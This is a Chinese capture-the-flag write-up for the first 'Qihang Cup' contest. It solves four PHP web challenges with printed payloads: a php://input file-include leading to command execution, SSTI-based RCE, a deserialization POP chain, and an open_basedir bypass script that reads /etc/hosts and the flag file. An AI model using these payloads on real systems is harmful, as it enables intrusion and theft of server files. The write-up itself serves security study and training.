TONG-H

第一届“启航杯”网络安全挑战赛 WP

CTF2025-01-27

第一届“启航杯”网络安全挑战赛 WP


Easy_include

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
error_reporting(0);
//flag in flag.php
$file=$_GET['file'];
if(isset($file))
{
if(!preg_match("/flag/i",$file))
{
include($file);
}
else
{
echo("no no no ~ ");
}
}
else
{
highlight_file(__FILE__);
}
?>

可以使用 php 伪协议实现 RCE。
Payload(GET): file=php://input
Post-data:

1
<?php system('cat flag.php');?>

Web_IP

/flag.php 页面会返回用户 IP,将 HTTP 头 Client-ip 修改后,页面显示的 IP 发生变化。使用 Wappalyzer 发现是 PHP 写的,尝试 SSTI 注入 {{1+1}} 成功了,于是直接 RCE。


Web_pop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
<?php
error_reporting(0);
highlight_file(__FILE__);
class Start{
public $name;
protected $func;

public function __destruct()
{
echo "Welcome to QHCTF 2025, ".$this->name;
}

public function __isset($var)
{
($this->func)();
}
}

class Sec{
private $obj;
private $var;

public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}

public function __invoke()
{
echo file_get_contents('/flag');
}
}

class Easy{
public $cla;

public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}

class eeee{
public $obj;

public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}

if(isset($_POST['pop'])){
unserialize($_POST['pop']);
}
?>

这是一道反序列化题目,网上可以搜到原题。
Payload:

1
O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";O:4:"eeee":1:{s:3:"obj";r:1;}}s:3:"var";r:4;}s:4:"func";r:2;}

PHP 反序列化常见知识点整理

  • private 属性序列化格式: %00类名%00成员名
  • protected 属性序列化格式: %00*%00成员名

魔法方法表(摘要)

魔法方法 作用
__construct() 对象创建时调用(unserialize 时不会自动调用)
__destruct() 对象销毁时自动调用
__call() 调用不可访问方法时触发
__callStatic() 静态调用不可访问方法时触发
__get() 读取不可访问属性时触发
__set() 写入不可访问属性时触发
__isset() 在不可访问属性上调用 isset()/empty() 时触发
__unset() 在不可访问属性上使用 unset() 时触发
__invoke() 将对象当作函数调用时触发
__wakeup() unserialize() 时自动调用
__sleep() serialize() 时调用
__toString() 对象转换为字符串时触发(例如 echo)

__toString 的触发条件较多,常见包括:

  1. echo / print 对象时触发
  2. 与字符串连接时
  3. 参与格式化字符串时
  4. 与字符串做 == 比较时(PHP 可能转换类型)
  5. 参与 SQL 参数绑定时
  6. 作为参数经过 strlen()、addslashes() 等字符串函数时
  7. 在 in_array() 中比较时(当数组中有 toString 返回的字符串)
  8. 作为 class_exists() 的参数时

PCREMagic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
function is_php($data){
return preg_match('/<\?php.*?eval.*?\(.*?\).*?\?>/is', $data);
}

if(empty($_FILES)) {
die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
if (!is_dir($user_dir)) {
mkdir($user_dir, 0755, true);
}
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);

header("Location: $path", true, 303);
exit;
}
?>

表面上是一个带有一句话木马 WAF 的临时文件上传题,但环境有很多限制。
上传 <?php phpinfo(); ?> 查看环境后,发现大量函数被禁用(如 system, shell_exec, passthru, exec, popen, proc_open, pcntl_exec, mail, putenv, apache_setenv, mb_send_mail, dl, set_time_limit, ignore_user_abort, symlink, link, error_log 等),并且 open_basedir 被限制为 /tmp/:/var/www/,无法直接跳转到根目录。

通过使用 glob('*') 替代 ls 并结合 ini_set 強行修改环境中的 open_basedir,构造 payload 读取 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
print_r(ini_get('open_basedir')."<br>");

mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');

echo file_get_contents('/etc/hosts');
print_r(ini_get('open_basedir')."<br>");
echo getcwd() . "
";
print_r(glob('*'));
echo file_get_contents('flag');
?>

参考:CTF Tricks - PHP-绕过open_basedir_directoryiterator php ctf - CSDN 博客